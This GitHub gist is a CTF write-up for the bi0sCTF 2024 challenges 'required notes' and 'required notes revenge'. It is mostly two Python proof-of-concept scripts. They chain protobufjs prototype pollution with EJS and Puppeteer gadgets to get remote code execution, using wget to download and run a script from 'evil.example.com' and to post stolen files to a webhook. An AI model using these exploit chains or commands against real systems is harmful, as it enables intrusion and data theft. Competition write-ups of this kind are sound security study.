Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active February 26, 2024 08:52
Show Gist options
  • Save arkark/4a70a2df20da9732979a80a83ea211e2 to your computer and use it in GitHub Desktop.
Save arkark/4a70a2df20da9732979a80a83ea211e2 to your computer and use it in GitHub Desktop.
bi0sCTF 2024 - web/required notes & web/required notes revenge

bi0sCTF 2024

I solved two web challenges: required notes and required notes revenge. Although the intened solution is XS-Leak, I found RCE solution even for the revenge challenge!

web/required notes

  • 36 solved / 311 pts
  • Author: Z_Pacifist

PoC:

import httpx

# BASE_URL = "http://localhost:3000"
BASE_URL = "https://ch15140139180.ch.eng.run"

client = httpx.Client(base_url=BASE_URL)


def pp(key: str, value: str):
    # ref. https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665
    author = "option(a).constructor.prototype." + key + "=" + value + ""
    res = client.post(
        "/customise",
        json={
            "data": [
                {},
                {
                    "author": author,
                },
            ]
        },
    )
    assert res.json()["Message"] == "Settings changed", res.text
    res = client.post("/create", json={})
    assert res.status_code == 500


# PP gadgets: https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
pp("client", "1")
pp(
    "escapeFunction",
    "\"JSON.stringify; process.mainModule.require('child_process').exec('wget https://webhook.site/xxxxx --post-data=\\\"$(cat notes/*)\\\"')\"",
)

client.get("/create")
# -> {"title":"Healthcheck","content":"success"}{"title":"flag","content":"bi0sctf{X8QWjf8+LUMmXeM4NdQzCw==}"}

web/required notes revenge

  • 3 solved / 988 pts
  • Author: Z_Pacifist

PoC:

import httpx

# BASE_URL = "http://localhost:3000"
BASE_URL = "https://ch47140142150.ch.eng.run"

ATTACKER_HOST = "evil.example.com"

client = httpx.Client(base_url=BASE_URL)


def pp(key: str, value: str):
    # ref. https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665
    author = "option(a).constructor.prototype." + key + "=" + value + ""
    assert len(author) <= 86, [author, len(author)]
    res = client.post(
        "/customise",
        json={
            "data": [
                {},
                {
                    "author": author,
                },
            ]
        },
    )
    assert res.json()["Message"] == "Settings changed", res.text
    res = client.post("/create", json={})
    assert res.status_code == 500


# PP gadgets in puppeteer:
# - https://github.com/puppeteer/puppeteer/blob/puppeteer-v21.5.2/packages/browsers/src/launch.ts#L199-L207
# - https://github.com/puppeteer/puppeteer/blob/puppeteer-v21.5.2/packages/puppeteer-core/src/node/ChromeLauncher.ts#L76-L83

pp("shell", '"sh"')
pp("userDataDir", '"/app/notes"')
pp("executablePath", '"echo"')
pp("ignoreDefaultArgs", "true")

pp("debuggingPort", '";cd\\tnotes;a="')
pp("debuggingPort", f'";wget\\t{ATTACKER_HOST}/x;a="')
pp("debuggingPort", '";sh\\tx;"')
# You need to serve the following shell script at `http://{ATTACKER_HOST}/x`:
# ```
# wget https://webhook.site/xxxxx --post-data="$(cat *.json)"
# ```

res = client.get("/healthcheck")
assert res.json()["Message"] == "healthcheck failed"

# -> {"title":"flag","content":"bi0sctf{riDPzbM5H7l3JAex+mw2vA==}"}{"title":"Healthcheck","content":"success"}
@t101804
Copy link

t101804 commented Feb 26, 2024

GG , nice writeup.

@slaee
Copy link

slaee commented Feb 26, 2024

GG

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment